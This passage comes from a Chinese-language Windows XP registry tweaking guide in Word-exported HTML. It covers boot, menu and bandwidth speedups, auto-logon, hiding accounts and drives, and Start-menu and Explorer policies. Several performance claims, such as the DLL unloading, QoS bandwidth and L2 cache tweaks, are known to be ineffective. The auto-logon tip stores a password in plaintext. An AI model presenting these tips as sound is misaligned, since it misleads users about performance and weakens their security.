lang="EN-US"><br />4</span>、在<span lang="EN-US">[</span>开始<span lang="EN-US">]</span>菜单上不显示<span lang="EN-US">[</span>所有程序<span lang="EN-US">]</span>菜单<span lang="EN-US"><br />5</span>、增加在工具列平列显示打开程序的数量<span lang="EN-US"><br />6</span>、除去快捷方式图标上的箭头<span lang="EN-US"><br />7</span>、除去桌面上图标下文字的底色<span lang="EN-US">  <br />8</span>、将系统版本显示在桌面上<span lang="EN-US"><br />※ </span>功能调整篇<span lang="EN-US"><br />1</span>、取消<span lang="EN-US"> Windows </span>图片及传真查看器的默认值<span lang="EN-US"><br />2</span>、删除共享分享及用户活页夹<span lang="EN-US"><br />3</span>、关闭自动重新启动功能<span lang="EN-US"><br />4</span>、隐藏回收站<span lang="EN-US"><br />5</span>、停止<span lang="EN-US">“</span>磁盘空间不足<span lang="EN-US">”</span>的通知功能<span lang="EN-US"><br />※ IE</span>设定篇<span lang="EN-US"><br />1</span>、修改或个性化<span lang="EN-US">IE</span>的标题列<span lang="EN-US"><br />2</span>、彻底删除<span lang="EN-US"> Internet Explorer </span>工具列表上其它图标<span lang="EN-US"><br />3</span>、删除<span lang="EN-US"> Internet Explorer </span>工具栏上其它工具项目<span lang="EN-US"><br />4</span>、更改工具列背景<span lang="EN-US"><br />5</span>、修正<span lang="EN-US"> IE </span>的首页画面<span lang="EN-US"><br />6</span>、个性化<span lang="EN-US"> Outlook Express </span>的标题列<span lang="EN-US"><br />7</span>、让<span lang="EN-US"> IE6 </span>可以同时下载超过两个文件<span lang="EN-US"><br />8</span>、重新安装<span lang="EN-US"> Internet Explorer <br /><br />——</span>性能优化<span lang="EN-US"><br /></span>前言：<span lang="EN-US"><br /></span>　　<span lang="EN-US">Microsoft</span>的<span lang="EN-US">Windows XP</span>发布已经很久了，相信有不少朋友也都将自己的操作系统升级成<span lang="EN-US">XP</span>。这款号称得上是至今功能最强大的操作系统，在功能与界面上的确比以往的<span lang="EN-US"> Windows</span>操作系统有了很大的改进，但新安装的<span lang="EN-US">Windows XP</span>系统并不是处于最佳的状态，大多数功能与介面都是按照预设值设置的，今天在这里，我将教大家如何通过改造<span lang="EN-US">windows XP</span>的神经系统<span lang="EN-US">—</span>注册表，使你的<span lang="EN-US">windows xp</span>的性能更佳，更具个性化。<span lang="EN-US"><br />1</span>、 加快开机及关机速度<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[Regedit]--&gt;[HKEY_CURRENT_USER]--&gt;[Control Panel]--&gt;[Desktop]</span>，将字符串值<span lang="EN-US">[HungAppTimeout]</span>的数值数据更改为<span lang="EN-US">[200],</span>将字符串值<span lang="EN-US"> [WaitToKillAppTimeout]</span>的数值数据更改为<span lang="EN-US">1000. <br /></span>另外在<span lang="EN-US">[HKEY_LOCAL_MACHINE]--&gt;[System]--&gt;[CurrentControlSet]--&gt; [Control]</span>，将字符串值<span lang="EN-US">[HungAppTimeout]</span>的数值数据更改为<span lang="EN-US">[200]</span>，将字符串值<span lang="EN-US"> [WaitToKillServiceTimeout]</span>的数值数据更改<span lang="EN-US">1000. <br />2</span>、自动关闭停止响应程序<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[Regedit]--&gt;[HKEY_CURRENT_USER]--&gt;[Control Panel]--&gt;[Desktop]</span>，将字符串值<span lang="EN-US">[AutoEndTasks]</span>的数值数据更改为<span lang="EN-US">1</span>，重新启动即可。<span lang="EN-US"><br />3</span>、清除内存内被不使用的<span lang="EN-US">DLL</span>文件<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[Regedit]--&gt;[HKKEY_LOCAL_MACHINE]--&gt; [SOFTWARE]--&gt;[Microsoft]--&gt;[Windows]--&gt;[CurrentVersion]</span>，在<span lang="EN-US"> [Explorer]</span>增加一个项<span lang="EN-US">[AlwaysUnloadDLL]</span>，默认值设为<span lang="EN-US">1</span>。<span lang="EN-US"><br /></span>注：如由默认值设定为<span lang="EN-US">[0]</span>则代表停用此功能。<span lang="EN-US"><br />4</span>、加快宽带接入速度<span lang="EN-US"><br /></span>（<span lang="EN-US">1</span>）家用版本：<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;</span>在<span lang="EN-US">[HKEY_LOCAL_MACHINE]--&gt; [SOFTWARE]--&gt;[Policies]--&gt;[Microsoft] --&gt;[Windows]</span>，增加一个名为<span lang="EN-US">[Psched]</span>的项，在<span lang="EN-US">[Psched]</span>右面窗口增加一个<span lang="EN-US"> Dword </span>值<span lang="EN-US">[NonBestEffortLimit]<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?><o:p></o:p></span></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-pagination: widow-orphan" align="left">
				<span style="FONT-SIZE: 12pt; FONT-FAMILY: 宋体; mso-font-kerning: 0pt; mso-bidi-font-family: 宋体">数值数据为<span lang="EN-US">0</span>。<span lang="EN-US"><br /></span>（<span lang="EN-US">2</span>）商业版本：<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[gpedit.msc]</span>，打开本地计算机策略，在左边窗口中选取<span lang="EN-US">[</span>计算机配置<span lang="EN-US">]--&gt;[</span>管理模板<span lang="EN-US">]--&gt;[</span>网络<span lang="EN-US">]--&gt;[QoS</span>数据包调度程序<span lang="EN-US">]</span>，在右边的窗口中双击<span lang="EN-US">"</span>限制可保留的带宽<span lang="EN-US">"</span>，选择<span lang="EN-US">"</span>已启用<span lang="EN-US">"</span>并将<span lang="EN-US">"</span>带宽限制<span lang="EN-US">(%)"</span>设为<span lang="EN-US">0 </span>应用<span lang="EN-US">--&gt;</span>确定，重启动即可。<span lang="EN-US"><br />5</span>、加快菜单显示速度<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[Regedit]--&gt;[HKEY_CURRENT_USER]--&gt;[Control Panel]--&gt;[Desktop]</span>，将字符串值<span lang="EN-US">[MenuShowDelay]</span>的数值数据更改为<span lang="EN-US">[</span>０<span lang="EN-US">]</span>，调整后如觉得菜单显示速度太快而不适应者可将<span lang="EN-US">[MenuShowDelay]</span>的数值数据更改为<span lang="EN-US">[200]</span>，重新启动即可。<span lang="EN-US"><br />6</span>、加快自动刷新率<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[Regedit]--&gt;[HKEY_LOCAL_MACHINE]--&gt;[System] --&gt;[CurrentControlSet]--&gt;[Control]--&gt;[Update]</span>，将<span lang="EN-US"> Dword[UpdateMode]</span>的数值数据更改为<span lang="EN-US">[</span>０<span lang="EN-US">]</span>，重新启动即可。<span lang="EN-US">  <br />7</span>、加快预读能力改善开机速度<span lang="EN-US">   <br />Windows XP </span>预读设定可提高系统速度，加快开机速度。按下修改可进一步善用<span lang="EN-US"> CPU </span>的效率：在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[Regedit]--&gt;[HKEY_LOCAL_MACHINE]--&gt; [SYSTEM]--&gt;[CurrentControlSet]--&gt;[Control]--&gt;[SessionManager]--&gt; [MemoryManagement]</span>，在<span lang="EN-US">[PrefetchParameters]</span>右边窗口，将<span lang="EN-US">[EnablePrefetcher]</span>的数值数据如下更改，如使用<span lang="EN-US"> PIII 800MHz CPU </span>以上的建议将数值数据更改为<span lang="EN-US">4</span>或<span lang="EN-US">5</span>，否则建议保留数值数据为默认值即<span lang="EN-US">3</span>。<span lang="EN-US"><br />8</span>、利用<span lang="EN-US"> CPU </span>的<span lang="EN-US"> L2 Cache </span>加快整体效能<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[Regedit]--&gt;[HKEY_LOCAL_MACHINE]--&gt;[SYSTEM] --&gt;[CurrentControlSet]--&gt;[Control]--&gt;[SessionManager]</span>，在<span lang="EN-US"> [MemoryManagement]</span>的右边窗口，将<span lang="EN-US">[SecondLevelDataCache]</span>的数值数据更改为与<span lang="EN-US"> CPU L2 Cache </span>相同的十进制数值： 例如：<span lang="EN-US">P4 <?xml:namespace prefix = st1 ns = "urn:schemas-microsoft-com:office:smarttags" /?><st1:chmetcnv w:st="on" tcsc="0" numbertype="1" negative="False" hasspace="False" sourcevalue="1.6" unitname="g">1.6G</st1:chmetcnv> A</span>的<span lang="EN-US"> L2 Cache </span>为<span lang="EN-US"> 512Kb</span>，数值数据更改为十进制数值<span lang="EN-US"> 512</span>。<span lang="EN-US"><br />9</span>、在启动计算机时运行<span lang="EN-US"> Defrag </span>程序<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[Regedit]--&gt;[HKEY_LOCAL_MACHINE]--&gt; [SOFTWARE]--&gt;[Microsoft]--&gt;[Dfrg]--&gt;[BootOptimizeFunction ]</span>，将字符串值<span lang="EN-US">[Enable]</span>设定为：<span lang="EN-US">Y</span>等于开启而设定为<span lang="EN-US">N</span>等于关闭。<span lang="EN-US"><br />10</span>、关机时自动关闭停止响应程序<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[Regedit]--&gt;[HKEY_USERS]--&gt;[.DEFAULT]--&gt; [Control Panel]</span>，然后在<span lang="EN-US">[Desktop]</span>右面窗口将<span lang="EN-US">[AutoEndTasks]</span>的数值数据改为<span lang="EN-US">1</span>，注销或重新启动。<span lang="EN-US"><br />——</span>管理设定<span lang="EN-US"><br />1</span>、缩短系统启动时<span lang="EN-US"> chkdsk </span>的等待时间<span lang="EN-US"><br /></span>在不正常关机后重新启动<span lang="EN-US"> XP </span>时会出现<span lang="EN-US"> chdsk </span>来检查系统，但等待响应时间预设为<span lang="EN-US">10</span>秒，按下办法更改可设定等待响应的时间：<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;</span>选<span lang="EN-US"><br />[HKEY_LOCAL_MACHINE]--&gt;[SYSTEM]--&gt;[CurrentControlSet]--&gt;[Control]--&gt;[Session Manager]</span>，然后更改<span lang="EN-US">[AutoChkTimeOut]</span>内的<span lang="EN-US"> dword </span>数值数据：原数值数据为<span lang="EN-US">["AutoChkTimeOut"=dword:00000010]</span>，如缩短等待时间为<span lang="EN-US"> 3 </span>秒者，则更改<span lang="EN-US"> "dword" </span>的数值为<span lang="EN-US">3</span>，如此类推。<span lang="EN-US"><br />2</span>、更改文件管理器<span lang="EN-US"> Thumbnail </span>的大小<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;</span>选择<span lang="EN-US">[HKEY_CURRENT_USER]--&gt; [Software]--&gt;[Microsoft]--&gt;[Windows]--&gt;[CurrentVersion]--&gt;[Explorer], </span>增加<span lang="EN-US">[dword][thumbnailSize]=</span>数值数据，数值在<span lang="EN-US">32~256</span>之间（基数为十进制）。<span lang="EN-US"><br />3</span>、随时可使用记事本打开文件<span lang="EN-US">  <br /></span>当在资源管理器浏览文件时<span lang="EN-US">,</span>有时需要用记事本来打开文件，如按下修改可随时点击鼠标右键，便出现<span lang="EN-US">“</span>使用记事本打开<span lang="EN-US">”</span>的选择在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;</span>选<span lang="EN-US">[HKEY_LOCAL_MACHINE]--&gt; [SOFTWARE]--&gt;[Classes]</span>，在此新增一个<span lang="EN-US">[</span>项<span lang="EN-US">]</span>，命名为<span lang="EN-US">[shell]</span>，在<span lang="EN-US">[shell ]</span>下再增加一个<span lang="EN-US">[</span>项<span lang="EN-US">]</span>，命名为<span lang="EN-US">[OpenInNotepad]</span>，在<span lang="EN-US">[OpenInNotepad]</span>增加一个字符串值，数值数据为使用记事本打开，再在<span lang="EN-US"> [OpenInNotepad]</span>下再增加一个<span lang="EN-US">[</span>项<span lang="EN-US">]</span>，命名为<span lang="EN-US">[command]</span>，在<span lang="EN-US">[command]</span>增加一个字符串值，数值数据为<span lang="EN-US"> [notepad.exe "%1"]</span>。<span lang="EN-US"><br />4</span>、临时关闭登录用户<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;[HKEY_LOCAL_MACHINE]--&gt; [SOFTWARE]--&gt;[Microsoft]--&gt;[Windows NT]--&gt;[CurrentVersion]--&gt;[Winlogon]--&gt;[SpecialAccounts]--&gt;[UserList]</span>，增加一个<span lang="EN-US">[DWORD]</span>值，<span lang="EN-US">[</span>数值名称<span lang="EN-US">]</span>为需要关闭用户的登录名称，数值数据为<span lang="EN-US">0</span>，如需重开此用户只需将数值数据更改为<span lang="EN-US">1</span>即可。<span lang="EN-US"><br />5</span>、把 管理员<span lang="EN-US">Administrator </span>加回在登录选单内<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;[HKEY_LOCAL_MACHINE]--&gt; [SOFTWARE]--&gt;[Microsoft]--&gt;[Windows NT]--&gt;[CurrentVersion]--&gt;[Winlogon]--&gt;[SpecialAccounts]--&gt;</span>在<span lang="EN-US"> [UserList]</span>增加一个<span lang="EN-US">[DWORD]</span>值，数值名称为<span lang="EN-US">[Administrator]</span>，数值数据为<span lang="EN-US">[1]= </span>显示，<span lang="EN-US">[0]=</span>隐藏。<span lang="EN-US"><br />6</span>、登录画面时使用打开数字键为默认值<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[Regedit]--&gt;[HKEY_USERS]--&gt;[.Default]--&gt; [Control Panel]--&gt;[Keyboard]--&gt;</span>将数值名称<span lang="EN-US">[InitialKeyboardIndicators]</span>资料值更改为<span lang="EN-US">2</span>。<span lang="EN-US"><br />7</span>、让登录<span lang="EN-US">[Regedit]</span>时保持在根目录状态<span lang="EN-US"><br />Windows XP </span>在打开<span lang="EN-US">[Regedit]</span>时会停留在上次使用时的位置，可按下列修改后打开<span lang="EN-US">Regedit</span>时便会停在根目录上：<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[Regedit]--&gt;[HKEY_CURRENT_USER]--&gt; [Software]--&gt;[Microsoft]--&gt;[Windows]--&gt;[CurrentVersion]--&gt;[Applets] --&gt;[Regedit]--&gt;</span>选择<span lang="EN-US">[LastKey]</span>，清除其有关数值数据，然后在左边窗口上的<span lang="EN-US">[Regedit]</span>右点鼠标，择选<span lang="EN-US">[</span>权限<span lang="EN-US">]</span>，在<span lang="EN-US">[Administrators </span>的权限<span lang="EN-US">]</span>上全部选<span lang="EN-US">[</span>拒绝<span lang="EN-US">]</span>。<span lang="EN-US"><br />8</span>、更改登记人的名字及组织名称<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;</span>选<span lang="EN-US"> [HKEY_LOCAL_MACHINE]--&gt;[SOFTWARE]--&gt;[Microsoft]--&gt;[Windows NT]--&gt;[CurrentVersion]</span>，然后更改<span lang="EN-US">[RegisteredOwner]</span>的资料值为新登记人姓名，更改<span lang="EN-US"> [RegisteredOrganization]</span>的资料值为新登记组织名称。<span lang="EN-US"><br />9</span>、自动登录<span lang="EN-US"> Windows XP <br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;</span>选<span lang="EN-US"> [HKEY_LOCAL_MACHINE]--&gt;[SOFTWARE]--&gt;[Microsoft]--&gt;[Windows NT]--&gt;[CurrentVersion]--&gt;</span>将<span lang="EN-US">[Winlogon]</span>右边窗口的<span lang="EN-US">[AutoAdminLogon]</span>数值数据改为<span lang="EN-US">[1] </span>及将<span lang="EN-US">[DefaultUserName]</span>的数值数据改为<span lang="EN-US">[</span>设定自动登录使用者帐户的名称<span lang="EN-US">]</span>，另增加一个字符串值<span lang="EN-US">[DefaultPassword]</span>数值数据为<span lang="EN-US">[</span>设定自动登录使用者帐户的密码<span lang="EN-US">]</span>。<span lang="EN-US"><br />10</span>、在指定的目录下打开<span lang="EN-US"> Command Prompt<br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;</span>选<span lang="EN-US">[HKEY_CLASSES_ROOT]--&gt; [Directory]--&gt;[shell]--&gt;</span>增加一个项<span lang="EN-US">[CommandPrompt]</span>默认值为<span lang="EN-US">[</span>在<span lang="EN-US"> Command Prompt </span>打开<span lang="EN-US">]</span>，再在<span lang="EN-US">[CommandPrompt]</span>下增加一个项<span lang="EN-US">[command]</span>默认值为<span lang="EN-US">[cmd.exe cd %1]</span>，完成后在资源管理器任何文件夹下右点鼠标便会出现<span lang="EN-US">[</span>在<span lang="EN-US"> Command Prompt </span>打开<span lang="EN-US">]</span>的选项，如不明怎样修改，可以将下面的内容拷入记事本，然后命名这<span lang="EN-US">**.reg</span>，最后双击即可：<span lang="EN-US"><br />[HKEY_CLASSES_ROOT\Directory\shell\CommandPrompt] <br />[HKEY_CLASSES_ROOT\Directory\shell\CommandPrompt\command]  <br />11</span>、修改其它用户的登录文件<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;</span>选<span lang="EN-US">[HKEY_USERS]</span>，然后按的<span lang="EN-US">[</span>文件<span lang="EN-US">]--&gt;[</span>加载配置单元<span lang="EN-US">]</span>打开<span lang="EN-US">[Documents and Settings\</span>用户名<span lang="EN-US">]</span>的文件夹选<span lang="EN-US">[NTUSER.DAT ]</span>（注：<span lang="EN-US">[</span>用户名<span lang="EN-US">]</span>为需修改登录文件的用户，<span lang="EN-US">[NTUSER.DAT ]</span>是隐藏档。）。然后按<span lang="EN-US">[</span>开始<span lang="EN-US">]</span>后会弹出对话窗口在<span lang="EN-US">[</span>项名称<span lang="EN-US">]</span>框内输入用户名称或任何自定义名称后在<span lang="EN-US">[HKEY_USERS]</span>下便多了一个刚才输入<span lang="EN-US">[</span>项名称<span lang="EN-US">]</span>的文件夹，这个文件夹便是所需修改的用户登录文件，修改完毕后选回刚才输入<span lang="EN-US">[</span>项名称<span lang="EN-US">]</span>的文件夹，然后选择注册表编辑器的<span lang="EN-US">[</span>文件<span lang="EN-US">]--&gt;[</span>卸载配置单元<span lang="EN-US">]</span>，即可。<span lang="EN-US"><br />12</span>、在我的电脑上隐藏磁盘驱动器<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[Regedit]--&gt;[HKEY_CURRENT_USER]--&gt; [Software]--&gt;[Microsoft]--&gt;[Windows]--&gt;[CurrentVersion]--&gt;[Policies] --&gt;[Explorer]--&gt;</span>增加一个<span lang="EN-US"> DWORD </span>值<span lang="EN-US">[NoDrives]</span>的数值数据请使用十进制及如下设定：隐藏<span lang="EN-US"> A </span>盘为<span lang="EN-US">[1]</span>，隐藏<span lang="EN-US"> B </span>盘为<span lang="EN-US"> A </span>盘的一倍即<span lang="EN-US">[2]</span>，隐藏<span lang="EN-US"> C </span>盘为<span lang="EN-US"> B </span>盘的一倍即<span lang="EN-US">[4]</span>，如此类推，如全部隐藏则为<span lang="EN-US">[67108863]</span>。<span lang="EN-US"><br /></span>另在<span lang="EN-US">[HKEY_LOCAL_MACHINE]--&gt;[Software]--&gt;[Microsoft]--&gt;[Windows]-- &gt;[CurrentVersion]--&gt;[Policies]--&gt;[Explorer]--&gt;</span>增加一个<span lang="EN-US"> DWORD </span>值，<span lang="EN-US">[NoDrives]</span>的数值数据请使用十进制及如下设定：隐藏<span lang="EN-US"> A </span>盘为<span lang="EN-US">[1]</span>，隐藏<span lang="EN-US"> B </span>盘为<span lang="EN-US"> A </span>盘的一倍即<span lang="EN-US">[2]</span>，隐藏<span lang="EN-US"> C </span>盘为<span lang="EN-US"> B </span>盘的一倍即<span lang="EN-US">[4]</span>，如此类推，如全部隐藏则为<span lang="EN-US">[67108863]</span>。<span lang="EN-US"><br />1</span>、在<span lang="EN-US">[</span>开始<span lang="EN-US">]</span>菜单上不显示<span lang="EN-US">[</span>运行<span lang="EN-US">]</span>选项<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;[HKEY_CURRENT_USER]--&gt; [Software]--&gt;[Microsoft]--&gt;[Windows]--&gt;[CurrentVersion]--&gt;[Policies] --&gt;</span>在<span lang="EN-US">[Explorer]</span>右窗口增加一个<span lang="EN-US">[DWORD]</span>值，<span lang="EN-US">[NoRun] </span>数值资料<span lang="EN-US">[1]</span>为隐藏<span lang="EN-US">[</span>运行<span lang="EN-US">]</span>，<span lang="EN-US">[0]</span>为显示<span lang="EN-US">[</span>运行<span lang="EN-US">]</span>。<span lang="EN-US"><br /></span>另更改：<span lang="EN-US">[HKEY_LOCAL_MACHINE]--&gt;[Software]--&gt;[Microsoft]--&gt;[Windows] --&gt;[CurrentVersion]</span>，然后在<span lang="EN-US">[Policies]</span>增加一个项名为<span lang="EN-US">[Explorer]</span>，在<span lang="EN-US">[Explorer]</span>右窗口增加一个<span lang="EN-US"> [DWORD]</span>值，<span lang="EN-US">[NoRun]</span>数值资料：<span lang="EN-US">[1]</span>为隐藏<span lang="EN-US">[</span>运行<span lang="EN-US">]</span>，<span lang="EN-US">[0]</span>为显示<span lang="EN-US">[</span>运行<span lang="EN-US">]</span>，重新登录或启动后生效。<span lang="EN-US"><br />2</span>、在<span lang="EN-US">[</span>开始<span lang="EN-US">]</span>菜单上不显示用户名称<span lang="EN-US">  <br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;[HKEY_CURRENT_USER]--&gt; [Software]--&gt;[Microsoft]--&gt;[Windows]--&gt;[CurrentVersion]--&gt;[Policies]</span>，然后在<span lang="EN-US">[Explorer]</span>右窗口增加一个<span lang="EN-US">[DWORD]</span>值，<span lang="EN-US">[NoUserNameInStartMenu]</span>数值资料<span lang="EN-US">[1]</span>为隐藏用户名，<span lang="EN-US">[0]</span>为显示用户名。<span lang="EN-US"><br /></span>另更改：<span lang="EN-US">[HKEY_LOCAL_MACHINE]--&gt;[Software]--&gt;[Microsoft]--&gt;[Windows] --&gt;[CurrentVersion]</span>，在<span lang="EN-US">[Policies]</span>增加一个项名为<span lang="EN-US">[Explorer]</span>，在<span lang="EN-US">[Explorer]</span>右窗口增加一个<span lang="EN-US"> [DWORD]</span>值，<span lang="EN-US">[NoUserNameInStartMenu]</span>数值资料<span lang="EN-US">[1]</span>为隐藏用户名，<span lang="EN-US">[0]</span>为显示用户名，重新登录或启动即可。<span lang="EN-US">  <br />3</span>、在<span lang="EN-US">[</span>开始<span lang="EN-US">]</span>菜单上不显示经常使用的程序<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;[HKEY_CURRENT_USER]--&gt; [Software]--&gt;[Microsoft]--&gt;[Windows]--&gt;[CurrentVersion]--&gt;[Policies]</span>，在<span lang="EN-US">[Explorer]</span>右窗口增加一个<span lang="EN-US">[DWORD]</span>值，<span lang="EN-US">[NoStartMenuMFUprogramsList]</span>数值资料<span lang="EN-US">[1]</span>为隐藏经常使用的程序，<span lang="EN-US">[0]</span>为显示经常使用的程序。<span lang="EN-US"><br /></span>另更改：<span lang="EN-US">[HKEY_LOCAL_MACHINE]--&gt;[Software]--&gt;[Microsoft]--&gt;[Windows] --&gt;[CurrentVersion]</span>，在<span lang="EN-US">[Policies]</span>增加一个项名为<span lang="EN-US">[Explorer]</span>，在<span lang="EN-US">[Explorer]</span>右窗口增加一个<span lang="EN-US"> [DWORD]</span>值，<span lang="EN-US">[NoStartMenuMFUprogramsList]</span>数值资料<span lang="EN-US">[1]</span>为隐藏经常使用的程序，<span lang="EN-US">[0]</span>为显示经常使用的程序，重新登录或启动后生效。<span lang="EN-US"><br />4</span>、在<span lang="EN-US">[</span>开始<span lang="EN-US">]</span>菜单上不显示<span lang="EN-US">[</span>所有程序<span lang="EN-US">]</span>菜单<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;[HKEY_CURRENT_USER]--&gt; [Software]--&gt;[Microsoft]--&gt;[Windows]--&gt;[CurrentVersion]--&gt;[Policies]</span>，在<span lang="EN-US">[Explorer]</span>右窗口增加一个<span lang="EN-US">[DWORD]</span>值，<span lang="EN-US">[NoStartMenuMorePrograms]</span>，数值资料<span lang="EN-US">[1]</span>为隐藏<span lang="EN-US">[</span>所有程序<span lang="EN-US">]</span>菜单，<span lang="EN-US"> [0]</span>为显示<span lang="EN-US">[</span>所有程序<span lang="EN-US">]</span>菜单。<span lang="EN-US"><br /></span>另更改：<span lang="EN-US">[HKEY_LOCAL_MACHINE]--&gt;[Software]--&gt;[Microsoft]--&gt;[Windows] --&gt;[CurrentVersion]--&gt;</span>在<span lang="EN-US">[Policies]</span>增加一个项名为<span lang="EN-US">[Explorer]</span>，在<span lang="EN-US">[Explorer]</span>右窗口增加一个<span lang="EN-US">[DWORD]</span>值，<span lang="EN-US">[NoStartMenuMorePrograms]</span>数值资料<span lang="EN-US">[1]</span>为隐藏<span lang="EN-US">[</span>所有程序<span lang="EN-US">]</span>菜单，<span lang="EN-US">[0]</span>为显示<span lang="EN-US">[</span>所有程序<span lang="EN-US">]</span>菜单，重新登录或启动后生效。<span lang="EN-US"><br />5</span>、增加在工具列平列显示打开程序的数量<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;[HKEY_CURRENT_USER]--&gt; [Software]--&gt;[Microsoft]--&gt;[Windows]--&gt;[CurrentVersion]--&gt;[Explorer]</span>，在<span lang="EN-US">[Advanced]</span>右窗口增加一个<span lang="EN-US">[DWORD]</span>值，<span lang="EN-US">[TaskbarGroupSize]</span>建议数值资料为<span lang="EN-US">[7]</span>代表在打开第七个程序时才在工具列中显示。<span lang="EN-US"><br /></span>另更改：<span lang="EN-US">[HKEY_LOCAL_MACHINE]--&gt;[Software]--&gt;[Microsoft]--&gt;[Windows] --&gt;[CurrentVersion]--&gt;[Explorer]</span>，在<span lang="EN-US">[Advanced]</span>增加一个<span lang="EN-US">[DWORD]</span>值<span lang="EN-US"> [TaskbarGroupSize]</span>建议数值资料为<span lang="EN-US">[7]</span>代表在打开第七个程序时才在工具列中显示，重新登录或启动后生效。<span lang="EN-US"><br />6</span>、除去快捷方式图标上的箭头<span lang="EN-US">  <br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;[HKEY_CLASSES_ROOT]--&gt;[lnkfile]</span>删除<span lang="EN-US">[IsShortcut]</span>一栏，重新启动电脑。<span lang="EN-US"><br />7</span>、除去桌面上图标下文字的底色<span lang="EN-US"><br /></span>在<span lang="EN-US">[</span>开始<span lang="EN-US">]--&gt;[</span>运行<span lang="EN-US">]--&gt;</span>键入<span lang="EN-US">[regedit]--&gt;[HKEY_USERS]--&gt;[S-<st1:chsdate w:st="on" isrocdate="False" islunardate="False" day="21" month="5" year="2001">1-5-21</st1:chsdate>- 515967899-706699826-1957994488-1005]</span>（注：使用版本不同，此值也不同。）<span lang="EN-US">--&gt;[Software]-- &gt;[Microsoft]--&gt;[Windows]--&gt;[CurrentVersion]--&gt;[Explorer]--&gt; [Advanced]</span>，将<span lang="EN-US">[ShowCompColor]=[dword:00000001]</span>更改为<span lang="EN-US">[dword:00000000]</span>，将<span lang="EN-US"> [ListviewShadow]=[dword:00000000]</span>更改为<span 